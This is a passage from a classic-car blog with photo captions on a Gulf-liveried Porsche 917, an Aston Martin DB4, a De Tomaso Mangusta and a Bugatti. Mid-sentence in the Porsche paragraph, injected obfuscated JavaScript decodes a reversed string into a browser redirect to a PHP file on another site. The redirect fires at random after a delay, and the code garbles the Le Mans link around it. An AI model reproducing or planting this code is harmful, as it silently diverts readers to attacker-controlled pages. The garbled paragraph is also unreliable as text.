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Much in the same way that this race-spec Porsche 917 did, though the iconic Gulf Racing livery undoubtedly helped with that. First debuted to a wide-eyed public in 1969 and producing around 620bhp from its flat-12 powerplant, the 917 leapt into the spotlight in 1970 and 1971 when it took outright honours at the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/le-mans-24hrs-preview-the-unpredictable/” target=”_blank”>Le Mans 24hrs.
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Cast into the shadows somewhat by the fame of its little brother – the DB5 – this Aston Martin DB4 would still inspire the British company’s future designs, despite a relatively short production run from 1958 to 1963. Powered by a 3.7-litre flat-six and producing around 240hp, this sportscar may not have been fastest example on four wheels, but it comprehensively made its mark.
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Only 400 or so examples rolled off the De Tomaso Mangusta conveyor belt between 1967 and 1971, but that’s not the notable point here. Translated from its native Italian, ‘Mangusta’ means ‘mongoose’, an animal noted for its propensity for killing cobras. The wildly held view that this model was originally designed to take down the Shelby Cobra is still shared today.
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Caught in motion by Mr Gilbertson as he scampered across the grass, this classic Bugatti is still rolling even after more than 80 years in service. Fair to assume that the starting handle has taken its fair share of punishment.
